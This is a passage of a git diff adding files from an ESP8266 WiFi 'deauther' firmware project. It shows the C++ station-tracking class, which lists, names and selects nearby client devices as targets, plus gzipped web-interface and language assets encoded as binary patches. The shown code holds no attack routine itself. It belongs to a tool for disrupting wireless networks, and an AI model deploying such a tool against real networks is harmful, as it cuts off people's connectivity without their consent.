6); +} + +int Stations::getAP(int num) { + if (!check(num)) return -1; + + return accesspoints.find(list->get(num).ap); +} + +String Stations::getNameStr(int num) { + if (!check(num)) return String(); + + return names.find(getMac(num)); +} + +bool Stations::hasName(int num) { + if (!check(num)) return false; + + return names.findID(getMac(num)) >= 0; +} + +uint8_t* Stations::getMac(int num) { + if (!check(num)) return 0; + + return list->get(num).mac; +} + +String Stations::getMacStr(int num) { + if (!check(num)) return String(); + + uint8_t* mac = getMac(num); + return bytesToStr(mac, 6); +} + +String Stations::getMacVendorStr(int num) { + String value; + + if (check(num)) { + value = getVendorStr(num) + ":"; + uint8_t* mac = getMac(num); + + for (int i = 3; i < 6; i++) { + if (mac[i] < 0x10) value += "0"; + value += String(mac[i], HEX); + + if (i < 5) value += ":"; + } + } + return value; +} + +String Stations::getVendorStr(int num) { + if (!check(num)) return String(); + + return searchVendor(list->get(num).mac); +} + +String Stations::getSelectedStr(int num) { + return b2a(getSelected(num)); +} + +uint32_t* Stations::getPkts(int num) { + if (!check(num)) return NULL; + + return list->get(num).pkts; +} + +uint32_t* Stations::getTime(int num) { + if (!check(num)) return NULL; + + return list->get(num).time; +} + +String Stations::getTimeStr(int num) { + if (!check(num)) return String(); + + uint32_t difference = currentTime - *getTime(num); + + if (difference < 1000) return str(ST_SMALLER_ONESEC); + else if (difference < 60000) return str(ST_SMALLER_ONEMIN); + else { + uint32_t minutes = difference / 60000; + + if (minutes > 60) return str(ST_BIGER_ONEHOUR); + else return (String)minutes + str(STR_MIN); + } +} + +bool Stations::getSelected(int num) { + if (!check(num)) return false; + + return list->get(num).selected; +} + +uint8_t Stations::getCh(int num) { + if (!check(num)) return 0; + + return list->get(num).ch; +} + +void Stations::select(int num) { + if (!check(num)) return; + + internal_select(num); + prnt(ST_SELECTED_STATION); + prntln(num); + changed = true; +} + +void Stations::deselect(int num) { + if (!check(num)) return; + + internal_deselect(num); + prnt(ST_DESELECTED_STATION); + prntln(num); + changed = true; +} + +void Stations::remove(int num) { + if (!check(num)) return; + + internal_remove(num); + prnt(ST_REMOVED_STATION); + prntln(num); + changed = true; +} + +void Stations::select(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getAPStr(i).equalsIgnoreCase(ssid)) select(i); + } +} + +void Stations::deselect(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getAPStr(i).equalsIgnoreCase(ssid)) deselect(i); + } +} + +void Stations::remove(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getAPStr(i).equalsIgnoreCase(ssid)) remove(i); + } +} + +void Stations::selectAll() { + for (int i = 0; i < count(); i++) internal_select(i); + prntln(ST_SELECTED_ALL); + changed = true; +} + +void Stations::deselectAll() { + for (int i = 0; i < count(); i++) internal_deselect(i); + prntln(ST_DESELECTED_ALL); + changed = true; +} + +int Stations::count() { + return list->size(); +} + +int Stations::selected() { + int num = 0; + + for (int i = 0; i < count(); i++) + if (getSelected(i)) num++; + return num; +} + +bool Stations::check(int num) { + if (internal_check(num)) { + return true; + } else { + prnt(ST_ERROR_ID); + prntln(num); + return false; + } +} + +bool Stations::internal_check(int num) { + return num >= 0 && num < count(); +} + +void Stations::internal_select(int num) { + Station changedStation = list->get(num); + + changedStation.selected = true; + list->replace(num, changedStation); +} + +void Stations::internal_deselect(int num) { + Station changedStation = list->get(num); + + changedStation.selected = false; + list->replace(num, changedStation); +} + +void Stations::internal_remove(int num) { + free(getMac(num)); + free(getPkts(num)); + free(getTime(num)); + list->remove(num); +} + +void Stations::internal_add(uint8_t* mac, int accesspointNum) { + if (count() >= STATION_LIST_SIZE) removeOldest(); + + Station newStation; + newStation.ap = accesspointNum; + newStation.ch = wifi_channel; + newStation.mac = (uint8_t*)malloc(6); + newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t)); + newStation.time = (uint32_t*)malloc(sizeof(uint32_t)); + newStation.selected = false; + + memcpy(newStation.mac, mac, 6); + *newStation.pkts = 1; + *newStation.time = currentTime; + + list->add(newStation); +} + +void Stations::internal_removeAll() { + int c = count(); + + for (int i = 0; i < c; i++) { + free(getMac(i)); + free(getPkts(i)); + free(getTime(i)); + } + list->clear(); +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Stations.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Stations.h new file mode 100755 index 0000000..1e7e3c7 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Stations.h @@ -0,0 +1,98 @@ +#ifndef Stations_h +#define Stations_h + +#include "Arduino.h" +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "SimpleList.h" +#include "Accesspoints.h" +#include "Names.h" + +#define STATION_LIST_SIZE 60 +extern Accesspoints accesspoints; +extern Names names; +extern uint8_t wifi_channel; +extern uint32_t currentTime; + +extern String searchVendor(uint8_t* mac); +extern bool macMulticast(uint8_t* mac); +extern bool macValid(uint8_t* mac); +extern bool macBroadcast(uint8_t* mac); +extern String bytesToStr(uint8_t* b, uint32_t size); + +class Stations { + public: + Stations(); + + void sort(); + void sortAfterChannel(); + + void select(int num); + void deselect(int num); + void remove(int num); + + void select(String ssid); + void deselect(String ssid); + void remove(String ssid); + + void add(uint8_t* mac, int accesspointNum); + + void selectAll(); + void deselectAll(); + void removeAll(); + void removeOldest(); + + String getNameStr(int num); + String getAPStr(int num); + String getMacStr(int num); + String getMacVendorStr(int num); + String getVendorStr(int num); + String getTimeStr(int num); + String getSelectedStr(int num); + uint8_t* getAPMac(int num); + String getAPMacStr(int num); + uint8_t* getMac(int num); + uint32_t* getPkts(int num); + uint32_t* getTime(int num); + uint8_t getCh(int num); + int getAP(int num); + bool getSelected(int num); + bool hasName(int num); + + void print(int num); + void print(int num, bool header, bool footer); + void printAll(); + void printSelected(); + + int count(); + int selected(); + + bool check(int num); + bool changed = false; + + private: + struct Station { + uint8_t ap; + uint8_t ch; + uint8_t * mac; + uint32_t* pkts; + uint32_t* time; + bool selected; + }; + + SimpleList* list; + + int findStation(uint8_t* mac); + int findAccesspoint(uint8_t* mac); + + bool internal_check(int num); + void internal_select(int num); + void internal_deselect(int num); + void internal_add(uint8_t* mac, int accesspointNum); + void internal_remove(int num); + void internal_removeAll(); +}; + +#endif // ifndef Stations_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/LICENSE.gz b/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/LICENSE.gz new file mode 100755 index 0000000000000000000000000000000000000000..040f32865f5ce47330bc31b98dbd954a80517a62 GIT binary patch literal 690 zcmV;j0!{rNiwFp}LHSz(|4d0kMNU&i09{f`Z{jczzWY~9Iki&MeVkT%Gl?lyLxP-8 zmZM1waTQ`@o1*^voeA_QMT$J0`CjA9!Qdiz)7lWd-JYUJK({Z(M;i<{55e?3#Lfl? zZWqtm8_)qXOrG`OVEp9f=7zC_tRc6J8G>Ofb;nn4_g#eB<_>=U{PhQ_Xm)ylM{f?n zc*d5-A8ZKL4S>L%@n-u9d#{IR+5~pqAoUKKPWwITi4OGe3P*}m$4eJ^wzzY(aUAM_;OI{MFK70__5XNRp>Ono~^kChP)WB{$$4!eTcYt zt9v*)Kk|LId5`>a0aZDx*IWsZ6)aWxBr}o0gjaZ;B(RqCyj<0Q9f}wA2Fe-mVgrw| z$Py6$mP%9=l#0p4GM55tvPkn)CW{A{;#^VU8s+Q?0=L(i9wJa-v^clhyvY07k5ere&_sEJh5Knl3YR>bVs2E?N zdPVvmEteZ5ALcd8%RCcUoC;LNr@6RLp{X?Ia*;sB7yLntQzfD(Mr{{$u$~Jl5g*4d ztz}t|jkGLkg~tS4s``C&Eh~`#SF)l&W~y8yjN-(Jas9NTfwVFdzNB6)YuJ@>}Up1ikJ*tH~@u+a-K z+fb0AYNYcN=3Q70FGRm;4)p9i|Nak;yuYOG~|wDc+I+lpn|5wsr^}z*2PRKvlfo@+=rbe z-w=U}#?dk@j4JP$vgDNTu9^?N_`<6|qc482m=$T~;Sm{vtk$Q8N?Y%QHQLI0KH%rC z(yX5S$Zi>Vho{WOD``d?L?LP!~!UyS?YXMD3 z^hwm61PuXFu)>pukdOkWSIG1wh(JAvI@U!N9GwbE;pH8EIfM2hB}rg_xmvW&mUJTg zPOB;w7IK^|BiIh*6-80qYZ!NMGab)loF^hOS1S*0)rO;e37#b=uuFEfGxT>0r+_a8 z_PJ;^@pf+;2Dw}#Qf=)TK+_^Q^fa-tXm0R{{aSX8y94MbyVVM8j*h}qaGc971o&-D z#U7?2Mgbq^_K6D_$|C*Fill?PlPqHw3alOh_(r;&JCh=bGdKAKXBJoMfF^bBc+8Vq zA8d>Aym|BcjVQ$R&8Mp#L%m2nl3%%4QfBnJ7vtk~wu8kYE-!j+_S@o~rfB!scu!Q$ z#Ix`+vO}ISwznziGKQ3b53!~7N3rG1J;gTpPHb1P3NnOP5)YBZ~Iy%KQ{XSgi z6q<8*ju!YvYmrjp^~n~Sms+>$47cbrvzg|EK&zW_t2?!xB7MtqAARZ_HzyzK>!3rS zQa`JYN~Bwb7v&DsXKHR&NgQ)qRWhDkI!t!YEkjl~>qTpo0V*zE@Pdnx{eV76ZN*Pe+r2y%&S)#AxXwh}t zV??dkGCPf19Qf3Uh!k=LoeblO7Q|K|yk9${4jbO8P&IHpYzg*o!Q!EDsDmLi=ZSZ5e*zfAwh$xh!SpZsl??lkXz!yHp(3md6Me%v6M*#*r!ac=`<7o%@Ic= z4h>n~5vH0yM&U=|?Ji#Tl<92e^?f##$GU76?wN_bU#m4m&nrigXNI9|%1r~NtXumO zL!Nzn(efBAYPpL{ T#+>f7XMX+#@Nj)SC=LJsiWJz6 literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/index.html.gz b/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/index.html.gz new file mode 100755 index 0000000000000000000000000000000000000000..53c18193c629978fc24511de9945e5de24b7b238 GIT binary patch literal 1022 zcmV7ts2;m-;t6NJ1w@MKp;oQyLa#29Z$;_H%`)_LujZqD_FKj z0%Rk6K&m2brq^(^TG3*)*VuQ?6M%G<&{9?OT2WIe+-r%`{4xP;HECg{K?;M_#q4?l zE!$c)MO~aBDh$%=jUsWUIoM%owB3P6Qw2I03=JZS(RkbphM5c@ zNj4M(!ON<62xZWOvxiWumgR85F11q!aMn1XsvyT-*qRAg4%Zam{^mXOB0!7660ot3+Ng{kqHLa^ z;ODpvAbB{Pl+nM)(E0I4K!!@qIDpu)-htrYq6gPout>f0yO22!a~@7&ZwVr!!(JGz z;FF%d)v)nAZ2^Yau30K=Gxyu|dJWeXi`je*ff!GCHNZM{w~nATPVQ0>ET)evlCTGc z!@nY0sgHVmFesR^Y>=H3u)!^h=5ZTMRxqTDxdQ2;C4Yb#SrBBZNo`HDrvgSWD0oK?X9zT$o*`@9=V^aN9Yp86s4Jp zG5i*jMmZ-PCIgsj+sHdJwTXGFlqkWZvyI+11AyRD;;Y9)#xr)DpOa3$%^bMP+OmH; zl(N^neBQva>`v}*@py@AXH;4_Vpw8DL)3*gWw~W}Vm)JKWjJovlB-E~@3VSb%m2%5 zS&G#Y%i$qLCUqoAtAALbd^u<7Q}i#pWjaQzZU>cl#7bXU8j(jXB%j-z({J#CMv0jrF;Ne{!Lzw~N_D se*fjMnwRnwEH38P&pv}k&HtOwSNXr?H0n8gPQLN;51?j4G*}1#0AdmNv;Y7A literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/info.html.gz b/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/info.html.gz new file mode 100755 index 0000000000000000000000000000000000000000..62ed193c14c706f187eb79275215684b462b1d84 GIT binary patch literal 1421 zcmV;81#$NSP|sjcPOV!>v;`t1qcE69 z!6>uVr!2k{Sd&c$Pj+mD!_ku+B$IK}(2-R06=)?j`~ zU;jh)5zbCdFL$U*R3V#WlA1uw`0-c>3zgANm^q-YlB!Nw z%3h7f3*m}79c8-ovB#1eqpf^WzVdY~gJWhv{pD*a85L9Vvv9xEsSje*ec3-LKH+?g ztU`DWt>+NXSLAiZeA8eOs@hcAA_cb~5?BW-iWzjHK%r~2A?h;4A+{)c)b-K7ms7(B7Eq?b7+4RdtDF-c*DYoK07(fG6*e2EWq-a$EPFPQjT zMf!X;$c3{ntht7wUib^7JQ1M2qM%7r%g~6DPX4>;r(`RqmC&{A<@?i?G8WX^SWovW z^{tN*#D~~RTj@&bCH65kszY#WR`{apqqK@cFq}^H_dO6%eh9)h&X$4~bsuA`IRxdQ zQFp>QEc!4TRom?RZF}|?D67E!+Cf7|uw=$xp(mAZu?82+aDSr9RigegVlbs*Vp1&e zDDucZZb@P_G{lHVb05UaRt9NSp{AeR0JEN&iLNpPcz-vYGm1d`_oi?;PSYO592V5@b5cL2ms;#)^1?9n~ zf`Y~+nw3@vzSu*GR6vy?HIyT&#oD*XP26oDZ&lMyH+%FceyF9zbvqksiF{}+KRrLW z=w0HzL;Gp5<0$n2S)tYV+VEN^{j1fg2fw8|2vsa;Y9Wm`Ilia;1^Kt^Ibs)_HhujWRV za5I0ry_=09*EXHrFD#jR>GWSPz4Fm?;a|(24{eZietU<(N1Uebg6$pEgJhq$g$^4* z<2#di7v05kJ@`-iKxe~}mWnIz&rjW#+Kg&yRC(wKjjm}(OYw}Ji7oelnowwoM3i-x zIfg0@a#{{)>-9H-1nCLDAo8N!VP1U^`zp_pz2cn}CV@W!=K|9D-UWt4mVJL@x{{MyXWgh&6#`^z|XQPww`~CGg bm>v>P&;M&h0_*<{dp`aJRgQg+YYzYbLbq1hpFFvJVqHWl}QK)=KqWB*!}{EKx+v0PakiuXo1%24aADuj_r8% zz`N&~hGCeSqX=}A2oy>^Dtk zvo7r7%*i1Md0yS>6zO1hSsDQ-j+}Yk3!Um-pquu$qG^1|VeeLA+7{CuF&z-IwwU#Z zSx0;>vhoncoM3qr%is_$N&&V=PnTkJ8{&DE8jJL_U1s&WR#scn!fID3EyjdV4vgHH yR>I>1!fKL~E|%2kr^<#vO_5xsiBRP^H0D?Sn5G~VuYYnoTmAqByJm^^1ONbh`Nfw2 literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/scan.js.gz b/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/scan.js.gz new file mode 100755 index 0000000000000000000000000000000000000000..76f4075ecd3636fd9ed1ef0689ac0826c00040a4 GIT binary patch literal 2084 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 O>i-3S_=sDrBLDzCF%KmG literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/settings.js.gz b/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/js/settings.js.gz new file mode 100755 index 0000000000000000000000000000000000000000..aea4352001c9132a4ee4e143208defca3e0adfde GIT binary patch literal 623 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 literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/cs.lang.gz b/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/cs.lang.gz new file mode 100755 index 0000000000000000000000000000000000000000..21397eeed80e1257cc378882431ab4722f8609a5 GIT binary patch literal 2878 zcmV-E3&HdsiwFp|LHSz(|6_A5Y+-I^0Hs+?Z`{ZcJ;%SIt&&Ih>Ka2ogiE zX8NnD>*Lj{)?Xe7{M*W;dAIew*ov#IZ9j4)OQZeZ`LkEY=k4E)+7I1iqN_NQI#(sl zpDE+4C`vm~sS{OZ>*bgBMijQ5DH;||Rn9gt#-J1`sZ+W5VDP1xVx@NN&FHP!KRtQ+ z-g;9|e6E(Kt^!Xva(Zaf1d{D;v!z>B2VdplDVW3hXw_{u5%qpEaV{0ek@idw~ zd~4pC6J9=X3aSisohZZmwP-R~If%-|OfEmRH#5awq^Q~(h{;#Sv^PyV&y{ForV~=` zjox{oMTx-}*R@3@O?xdGaj?I?FP`o`8SU+f%1M*RGO0)6NJW`V>xs(Mwva~SiZfZs zF^`A@ch{!9jmP4$RB5A3%;q^+epJco+PSE-n5EXZ(q=VX%;t)977eMkoa56><$A<= zm$srkM%g5lGhT1xrY&S@Y4q(@Suf{$@gc3>ZUuL|-I~Z8-ll;9XV{{h!wT?)C{;Vp zps;A#+nJF$#>RGaZ2geTmez@IG8IvsD3+aI6LcnR5EyQoJ%L>{s|Uj@zbG-OXswQ+ zLt*2wEp$frIjN&erxx<*x;7%)35tt+AXY?bCg8|9Ty%|CLRd75PcHM}G?ao($>LMi z&Yc>BYzh&k<^ZcO*VMQ;?Zvc&J~=N(Fwpt8FhW(34O5Z8cB-M+sY6WZ*fn%aYV+D? zxA=qz6Ct=FJJIwtQw4jh3lqfDi{5px>F(Qov3!s z8p=wF7-WshU`Iv5IvbLwproi9l_&~TJ2Mo~(1}kgRc2*EM;u4SHrnxM6-z$$G({r9 zWqz>INyVe52hVv#Iw#|l$J&25n@;^Yzq^5ps_@bdj$Rz& 